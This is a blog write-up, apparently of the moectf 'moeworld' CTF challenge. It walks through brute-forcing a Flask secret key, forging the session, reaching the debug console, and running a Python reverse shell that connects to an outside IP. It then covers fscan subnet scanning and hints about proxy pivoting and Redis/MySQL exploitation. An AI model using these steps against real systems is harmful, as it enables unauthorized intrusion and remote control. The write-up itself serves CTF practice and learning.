【moectf】moeworld内网渗透

本文最后更新于:2023年10月8日 晚上

[TOC]

【moectf】moeworld

题目介绍

本题你将扮演红队的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag

hint.zip 密码请在拿到外网靶机后访问根目录下的readme,完成条件后获取

解题步骤

首先我们发现这是一个flask框架搭建的网页:

image-20231008221117335

1
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()

这里secret_key只有后面两个字节未知,所以我们可以构造字典爆破出key

1
2
3
4
5
6
7
8
s = "This-random-secretKey-you-can't-get"
ss = "1234567890abcdef"
f = open("dic.txt","w")
for i in ss:
for j in ss:
for k in ss:
for l in ss:
f.write(s+i+j+k+l+"\n")

生成一个dic.txt

然后我们使用flask-unsign进行字典爆破:

爆破出key,并进行伪造

image-20231008220615731

修改session后发现pin码

image-20231008220651805

我们直接进入/console控制台执行命令

查看一个/readme,需要我们使用fscan扫描

image-20231008220733326

这样不方便,先反弹shell到vps上

反弹shell命令生成网站: https://www.ddosi.org/shell/

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.115.221.105",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

首先hostname -i 查看一下ip地址

1
2
3
$ hostname -i
hostname -i
172.21.0.3 172.20.0.4

进入/app/tools/目录,使用fscan扫描

1
./fscan -h 172.20.0.0/16 -0 /tmp/ip.txt

image-20231008220546159

端口从小到大排序得出压缩包密码:22-3306-6379-8080

打开压缩包:

1
2
3
4
5
6
7
8
9
10
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

【moectf】moeworld内网渗透
https://leekosss.github.io/2023/10/08/[moectf]moeworld内网渗透/
作者
leekos
发布于
2023年10月8日
更新于
2023年10月8日
许可协议